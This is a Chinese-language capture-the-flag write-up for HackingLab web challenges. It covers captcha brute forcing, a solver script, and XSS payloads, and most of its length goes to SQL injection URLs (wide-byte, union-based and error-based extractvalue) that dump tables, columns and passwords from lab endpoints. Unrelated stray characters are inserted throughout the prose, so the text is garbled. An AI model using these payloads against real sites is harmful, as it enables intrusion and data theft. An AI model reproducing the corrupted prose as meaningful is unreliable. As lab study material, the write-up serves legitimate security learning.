選擇題和基礎(chǔ)關(guān)比較簡(jiǎn)單孙技,刷題刷得很爽(可能這就是菜鳥(niǎo)的成就感吧)聪黎,后面的關(guān)卡就......
腳本關(guān)
key又又找不到了
這個(gè)題比較簡(jiǎn)單可都,抓包重放耕姊,發(fā)現(xiàn)flag~
快速口算
不會(huì)寫(xiě)腳本的我只能百度writeup膀值。棍丐。。沧踏。歌逢。。找到的腳本如下:
#coding=utf-8
import re #正則模塊
import requests
s = requests.Session()
url = 'http://1.hacklist.sinaapp.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
r = s.get(url)
r.encoding = 'utf-8' #修改編碼
print(r.text)
num = re.findall(re.compile(r'<br/>\s+(.*?)='), r.text)[0] #正則表達(dá)式找到算術(shù)式
print ('result:\n\n%s=%d\n' % (num, eval(num))) #輸出算術(shù)式計(jì)算結(jié)果
r = s.post(url, data={'v': eval(num)}) #將結(jié)果提交 抓包可看出要用v提交
print (r.text) #輸出返回結(jié)果
這個(gè)題目是空的
null即可通過(guò)翘狱。
怎么就是不彈出key呢趋翻?
查看源碼,發(fā)現(xiàn)有一段js代碼盒蟆,直接放進(jìn)Chrome控制臺(tái)運(yùn)行踏烙,彈出flag。注意key為chars后的前14個(gè)字符历等。
逗比驗(yàn)證碼第一期
根據(jù)題目提示讨惩,發(fā)現(xiàn)密碼是首位不為0的四位數(shù)字,同時(shí)驗(yàn)證碼可重復(fù)使用多次寒屯,利用burpsuite的intruder進(jìn)行爆破荐捻。
找到key!
逗比驗(yàn)證碼第二期
同上寡夹,雖然驗(yàn)證碼只可用一次处面,但發(fā)現(xiàn)刪除驗(yàn)證碼返回pwd錯(cuò)誤。繼續(xù)進(jìn)行爆破菩掏,找到key魂角。
逗比驗(yàn)證碼第三期
感覺(jué)和session并沒(méi)有什么關(guān)系,和上一題解題思路一樣智绸,不是很懂野揪,網(wǎng)上是這樣解釋的:
驗(yàn)證碼發(fā)布的流程
1. 顯示表單
2. 顯示驗(yàn)證碼(調(diào)用生成驗(yàn)證碼的程序),將驗(yàn)證碼加密后放進(jìn) session 或者 cookie
3. 用戶提交表單
4. 核對(duì)驗(yàn)證碼無(wú)誤瞧栗、數(shù)據(jù)合法后寫(xiě)入數(shù)據(jù)庫(kù)完成
用戶如果再發(fā)布一條斯稳,正常情況下,會(huì)再次訪問(wèn)表單頁(yè)面迹恐,驗(yàn)證碼圖片被動(dòng)更新挣惰, session 和 cookie 也就跟著變了
但是灌水機(jī)操作不一定非要使用表單頁(yè)面,它可以直接模擬 post 向服務(wù)端程序發(fā)送數(shù)據(jù),這樣驗(yàn)證碼程序沒(méi)有被調(diào)用憎茂,當(dāng)然 session 和 cookie 存儲(chǔ)的加密驗(yàn)證碼就是上次的值珍语,也就沒(méi)有更新,這樣以后無(wú)限次的通過(guò)post直接發(fā)送的數(shù)據(jù)唇辨,而不考慮驗(yàn)證碼廊酣,驗(yàn)證碼形同虛設(shè)!
所以赏枚,在核對(duì)驗(yàn)證碼后先將 session 和 cookie 的值清空亡驰,然后做數(shù)據(jù)合法性判斷,然后入庫(kù)饿幅!這樣凡辱,一個(gè)漏洞就被補(bǔ)上了!
微笑一下就能過(guò)關(guān)了
分析源碼:
發(fā)現(xiàn)常用網(wǎng)絡(luò)協(xié)議已經(jīng)過(guò)濾栗恩。
data協(xié)議格式為:
?????data:資源類(lèi)型;編碼,內(nèi)容
因此透乾,payload:
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^_^=data:,(●'?'●)
逗比的手機(jī)驗(yàn)證碼
先用以前的手機(jī)號(hào)獲取到驗(yàn)證碼,抓包將手機(jī)號(hào)修改即可得到key磕秤。
基情燃燒的歲月
先用之前的手機(jī)號(hào)登陸乳乌,發(fā)現(xiàn)提示驗(yàn)證碼為開(kāi)頭非0的三位數(shù),進(jìn)行爆破后找到另一個(gè)手機(jī)號(hào)市咆,繼續(xù)進(jìn)行爆破汉操,發(fā)現(xiàn)flag!
驗(yàn)證碼識(shí)別
圖片驗(yàn)證碼在不斷變化蒙兰,普通的intruder無(wú)法爆破磷瘤,不會(huì)做QAQ
xss基礎(chǔ)關(guān)
在輸入框中隨意提交<script>alert(1)</script>,發(fā)現(xiàn)提示:
于是提交<script>alert(HackingLab)</script>搜变,得到key值采缚。
XSS基礎(chǔ)2:簡(jiǎn)單繞過(guò)
上一題的payload被過(guò)濾了,換一個(gè):
<img src=# onerror=alert(HackingLab) />
XSS基礎(chǔ)3:檢測(cè)與構(gòu)造
這個(gè)題目過(guò)濾了好多字符挠他,比較菜就不會(huì)@_@后面看了網(wǎng)上的解析:
這個(gè)題當(dāng) value 為敏感字符串時(shí)扳抽,出現(xiàn)的敏感字符串反而不會(huì)被過(guò)濾,這樣就可以構(gòu)造alert' onmouseover=alert(HackingLab)>并提交绩社,將鼠標(biāo)移動(dòng)到第二個(gè)輸入框上方就能觸發(fā)彈窗.
Principle很重要的XSS
不會(huì)做+1摔蓝。。愉耙。。拌滋。朴沿。坐等大佬們的writeup!
注入關(guān)
最簡(jiǎn)單的sql注入
真的很簡(jiǎn)單,注釋符繞過(guò)即可赌渣。
最簡(jiǎn)單的SQL注入(熟悉注入環(huán)境)
查看源碼看到提示找到注入點(diǎn)。
字段數(shù):
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 order by 3#
但是之后無(wú)法得到顯示位,就很尷尬??后面發(fā)現(xiàn)是我想太多忘晤,payload如下:
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1
防注入
寬字節(jié)注入谷朝。
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' or 1=1%23
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' or 1=1 order by 3%23
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,database(),user()%23
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df%27 union select 1,group_concat(title_1,content_1),3 from mydbs.sae_user_sqli4%23
該題參考自:https://hellohxk.com/blog/hackinglab-writeup/
到底能不能回顯
報(bào)錯(cuò)注入好難啊=-=
不會(huì)做+1
看完其他人的writeup后,稍微有了點(diǎn)頭緒鸿竖。首先沧竟,了解一下mysql注入點(diǎn)在limit關(guān)鍵字后面的利用方法。http://www.freebuf.com/articles/web/57528.html
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(1,concat(0x25,@@version)),1)%23&num=1
payload:
獲取表名:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(1,concat(0x25,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)%23&num=1
獲取列名:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(1,concat(0x25,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572))),1)%23&num=1
獲取字段:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from user where username=0x666c6167))),1)%23 &num=100 %23
邂逅
圖片類(lèi)型的寬字節(jié)注入缚忧。
字段數(shù):4
找到顯示位:3
dog1.jpg%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4%23
dog1.jpg%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x61727469636c65),4%23
dog1.jpg%df' union select 1,2,(select group_concat(id,picname) from mydbs.pic),4%23
訪問(wèn)http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg悟泵,得:
ErrorBased
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and extractvalue(1, concat(0x3a,(SELECT distinct concat(0x3a,username,0x3a,motto,0x3a,0x3a) FROM motto limit 3,1)))%23
盲注
基于時(shí)間的盲注。
SQL注入通用防護(hù)
cookie存在sql注入闪水。